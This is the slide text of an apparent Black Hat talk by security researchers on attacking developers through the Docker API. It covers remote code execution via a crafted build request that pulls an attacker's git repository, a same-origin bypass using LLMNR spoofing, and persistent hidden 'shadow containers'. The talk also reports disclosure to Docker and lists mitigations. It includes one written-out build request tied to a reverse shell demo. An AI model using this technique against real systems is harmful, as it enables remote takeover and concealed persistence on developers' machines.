Well, That Escalated Quickly!
How abusing the Docker API Led to Remote Code
Execution, Same Origin Bypass and Persistence in
the Hypervisor via Shadow Containers.
Michael Cherny @chernymi Sagie Dulce @SagieSec
2
WHO ARE WE?
Michael Cherny
Head of Research
Aqua Security
@chernymi
Sagie Dulce
Sr Security Researcher
Aqua Security
@SagieSec
3
FOCUS
 Developers are the new Targets
4
FOCUS
 Developers are the new Targets
 Main Course: APT  Developer Running Docker
5
FOCUS
 Developers are the new Targets
 Main Course: APT  Developer Running Docker
 New Attacks: Host Rebinding & Shadow Container
6
MENU
 Containers & Container Development
 Attacking Developers
 Abusing Docker API
 Host Rebinding Attack
 Shadow Containers
 Full Attack -> Click 2 PWN
 Conclusions
①
②
③
CONTAINERS?
8
VIRTUAL MACHINES VS CONTAINERS
www.serverspace.co.uk/blog/containerisation-vs-virtualisation-whats-the-difference
9
CONTAINERS EVERYWHERE
 Linux Containers
 Linux / Windows / Mac
 Windows Containers
 Native / Hyper-V (Windows Server)
 Hyper-V (windows 10)
10
CONTAINER ADOPTION STATS
https://www.slideshare.net/Docker/dockercon-2017-general-session-day-1-ben-golub
11
DEVELOPERS AS TARGETS
 High privileges on their machines & domain
 Low security attention
 High Confidence
 Access to sensitive data
 Code
 IP
 Registries
12
DEVELOPERS AS TARGETS
13
DEVELOPERS AS TARGETS
ATTACK OVERVIEW
ATTACKING CONTAINER DEVELOPERS
15
ATTACK OVERVIEW
16
ATTACK OVERVIEW
17
ATTACK OVERVIEW – WINDOWS 10
Abuse Docker
API
Host Rebinding
Shadow
Container
Remote Code Execution
Privilege Escalation
Persistency
①
②
③
ABUSING DOCKER API
FROM A MALICIOUS WEB PAGE ①
19
DOCKER 4 WINDOWS / MAC
 Client talks to daemon
over via REST API
 UNIX socket
 named pipe
 ..or TCP port
 TCP port was default
on Windows 10
20
DOCKER 4 WINDOWS / MAC
 Client talks to daemon
over via REST API
 UNIX socket
 named pipe
 ..or TCP port
 TCP port was default
on Windows 10
 Abuse Remotely?
21
DOCKER REST API – CAN WE ATTACK IT?
 It’s complicated
 Same Origin Policy?!
22
BROWSER SECURITY
 Browsers need to display content from multiple domains
 But, one domain shouldn’t be able to read / write to another
 Post status in Facebook
 Collect underpants...
 etc.
23
SAME ORIGIN POLICY (SOP)
 Only “simple” requests are allowed across origins
 GET – can’t read response body
 POST – can’t send with a body / not all header types
 HEAD
 Not same origin:
 request has different domain, protocol or port
24
DOCKER API CALLS THAT DON’T VIOLATE SOP
 List containers (GET)
 Inspect container (GET)
 List processes in container (GET)
 Get container logs (GET)
 Get container’s changes in filesystem
(GET)
 Export container (GET)
 Get container stats (GET)
 Resize Container (POST)
 Start Container (POST)
 List images (GET)
 Build image (POST)
 Create image (POST)
 Get image history (GET)
 Push image (POST)
 Stop Container (POST)
 Restart container (POST)
 Kill a container (POST)
 Rename container (POST)
 Pause container (POST)
 Unpause container (POST)
 Attach to a container (POST)
 Get file info in a container (HEAD)
 Get filesystem archive (GET)
 Delete Container (POST)
 List networks (GET)
 Inspect Network (GET)
 Tag image (POST)
 List volumes (GET)
 Export image (GET)
 Inspect volume (GET)
 List secrets (GET)
 Create secret (POST)
 Inspect secret (GET)
 Inspect Swarm (GET)
 List nodes (GET)
 Inspect node (GET)
 List services (GET)
 Inspect service (GET)
 Get service logs (GET)
 List tasks (GET)
 Inspect a task (GET)
 Search image (GET)
 Delete image (DELETE)
https://docs.docker.com/engine/api/v1.29/
25
DOCKER API CALLS THAT DON’T VIOLATE SOP
 List containers (GET)
 Inspect container (GET)
 List processes in container (GET)
 Get container logs (GET)
 Get container’s changes in filesystem
(GET)
 Export container (GET)
 Get container stats (GET)
 Resize Container (POST)
 Start Container (POST)
 List images (GET)
 Build image (POST)
 Create image (POST)
 Get image history (GET)
 Push image (POST)
 Stop Container (POST)
 Restart container (POST)
 Kill a container (POST)
 Rename container (POST)
 Pause container (POST)
 Unpause container (POST)
 Attach to a container (POST)
 Get file info in a container (HEAD)
 Get filesystem archive (GET)
 Delete Container (POST)
 List networks (GET)
 Inspect Network (GET)
 Tag image (POST)
 List volumes (GET)
 Export image (GET)
 Inspect volume (GET)
 List secrets (GET)
 Create secret (POST)
 Inspect secret (GET)
 Inspect Swarm (GET)
 List nodes (GET)
 Inspect node (GET)
 List services (GET)
 Inspect service (GET)
 Get service logs (GET)
 List tasks (GET)
 Inspect a task (GET)
 Search image (GET)
 Delete image (DELETE)
https://docs.docker.com/engine/api/v1.29/
26
BUILD IMAGE
 Build images from Dockerfile
FROM alpine:latest
ADD mycode.sh
RUN apt-get update && apt-get install –y …
RUN ./mycode.sh
27
BUILD IMAGE
 Build images from Dockerfile
 … Build == Execute code!
FROM alpine:latest
ADD mycode.sh
RUN apt-get update && apt-get install –y …
RUN ./mycode.sh
Execute Yourself
28
BUILD IMAGE API CALL
 POST /build
 No body => no SOP violation!
 Interesting build parameters
29
BUILD IMAGE API CALL
 POST /build
 No body => no SOP violation!
 Interesting build parameters
 t (tag)
30
BUILD IMAGE API CALL
 POST /build
 No body => no SOP violation!
 Interesting build parameters
 t (tag)
 remote
 git repository!
31
BUILD IMAGE API CALL
 POST /build
 No body => no SOP violation!
 Interesting build parameters
 t (tag)
 remote
 git repository!
 networkmode (bridge / host / none)
32
BUILD IMAGE API CALL  REVERSE SHELL DEMO
POST http://localhost:2375/build?
remote=https://github.com/<User>/<Repo>
&networkmode=host
33
BUILD IMAGE API CALL  REVERSE SHELL DEMO
34
ABUSE DOCKER BUILD
35
ABUSE DOCKER BUILD
36
ABUSE DOCKER BUILD
37
ABUSE DOCKER BUILD
38
ABUSE DOCKER BUILD
39
ABUSE DOCKER BUILD
40
ABUSE DOCKER BUILD DEMO
41
DOCKER FIX
 We disclosed to Docker
 TCP now an “opt-in”
HOST REBINDING ATTACK
DAEMON PRIVILEGE ESCALATION ②
43
WHAT’S NEXT?
44
LIMITATIONS
45
LIMITATIONS
46
DNS REBINDING?
47
DNS REBINDING - HISTORY
 Carbon Dated to ~1996
 2007 Protecting Browsers from DNS Rebinding Attacks
 2008 Defending your DNS in a post-Kaminsky world
 2010 How to Hack Millions of Routers
48
DNS REBINDING – HOW IT WORKS
49
DNS REBINDING – HOW IT WORKS
50
DNS REBINDING – HOW IT WORKS
51
DNS REBINDING – HOW IT WORKS
52
DNS REBINDING – HOW IT WORKS
53
DNS REBINDING – HOW IT WORKS
54
DNS REBINDING – HOW IT WORKS
SOP BYPASSED!
55
WHY NOT USE DNS REBINDING?
 DNS Rebinding may fail
 Existing protections (perimeter)
 Attacker needs to setup domain
 $$$
 Maintenance
 IP Reputation & Threat Intelligence
56
LLMNR: DNS OVER THE LAN
 Name resolution over the LAN
 LLMNR
 DNS like resolution
 IPv4 & IPv6
57
ATTACKING LLMNR
 Requests broadcasted over virtual interface!
 Spoof LLMNR Replies
 Cached in the browser (IE / Chrome / FF) for ~60 seconds
 Skip cache in FF
 Delay HTTP response 0.5 sec
https://tools.ietf.org/html/rfc4795#section-2.2
58
HOST REBINDING DEMO
59
HOST REBINDING DEMO
60
HOST REBINDING DEMO
61
HOST REBINDING DEMO
62
HOST REBINDING DEMO
63
HOST REBINDING DEMO
64
HOST REBINDING DEMO
65
HOST REBINDING DEMO
66
HOST REBINDING DEMO
67
HOST REBINDING DEMO
SOP BYPASSED!
68
HOST REBINDING DEMO
SOP BYPASSED!
69
HOST REBINDING DEMO
SOP BYPASSED!
70
HOST REBINDING DEMO
71
RECAP
Full API Access: docker run …?
Abuse Docker
API
Host Rebinding
Remote Code Execution
Privilege Escalation
①
②
SHADOW CONTAINER
PERSISTENCE & CONCEALMENT
③
73
MISSING PERSISTENCE & CONCEALMENT
 So Far…
 Privileged container on the VM (Moby Linux)
 Access to VM filesystem
 Access to enterprise internal network
 But…
 Not Concealed: docker ps
 Not Persistent: VM boots from image
74
PERSISTENT AND CONCEALED
myscript
75
PERSISTENT AND CONCEALED
shadow
76
PERSISTENT AND CONCEALED
shadow
77
PERSISTENT AND CONCEALED
myscript
78
SHADOW CONTAINER – SHUTDOWN SCRIPT
79
SHADOW CONTAINER – MYSCRIPT.SH
80
SHADOW CONTAINER DEMO
FULL ATTACK
CLICK TO PWN!
82
FULL ATTACK DEMO
83
FULL ATTACK DEMO
Abuse
Docker API
84
FULL ATTACK DEMO
Abuse
Docker API
Host
Rebinding
85
FULL ATTACK DEMO
Abuse
Docker API
Host
Rebinding
86
FULL ATTACK DEMO
Abuse
Docker API
Host
Rebinding
87
FULL ATTACK DEMO
Abuse
Docker API
Host
Rebinding
Shadow
Container
88
FULL ATTACK DEMO
Abuse
Docker API
Host
Rebinding
Shadow
Container
89
FULL ATTACK DEMO
Abuse
Docker API
Host
Rebinding
Shadow
Container
90
FULL ATTACK DEMO
Abuse
Docker API
Host
Rebinding
Shadow
Container
91
FULL ATTACK DEMO
Abuse
Docker API
Host
Rebinding
Shadow
Container
shadow
92
FULL ATTACK DEMO
Abuse
Docker API
Host
Rebinding
Shadow
Container
shadow
93
FULL ATTACK DEMO
Abuse
Docker API
Host
Rebinding
Shadow
Container
94
FULL ATTACK DEMO
Abuse
Docker API
Host
Rebinding
Shadow
Container
myscript
95
FULL ATTACK DEMO
IMPACT
DEVELOPERS AS TARGETS
97
ADVANCED PERSISTENT THREAT
 Persistency
 Concealment
 Low Forensic Footprint
 Access to Internal Enterprise Network
98
SHADOW WORM
 Attacker poisons images
 Bad image spread like a worm in pipeline
99
ATTACK FLAVORS
MAC
• DNS
Rebinding
• Shadow
Container
Linux
• DNS
Rebinding
• Full Access
Windows
Containers
• Abuse API
• Host
Rebinding
• Full Access
CONCLUSIONS
101
MITIGATION
 Don’t expose container engine API
 Only allow authenticated clients (certificates) access to
exposed port (or block it via Firewall)
 Analyze Container Engine Logs (on development also)
 Disable NetBIOS & LLMNR
 Continuously scan images in registries
 Continuously monitor containers in runtime
102
BLACK HAT SOUND BYTES
 Developers are the new Targets
 New Attacks: Host Rebinding & Shadow Container
 Protect your PIPE: Scan images & Monitor Containers in
Runtime
Michael Cherny @chernymi Sagie Dulce @SagieSec
http://info.aquasec.com/whitepaper-how-abusing-docker-api-led-to-remote-code-execution

How abusing the Docker API led to remote code execution same origin bypass and persistence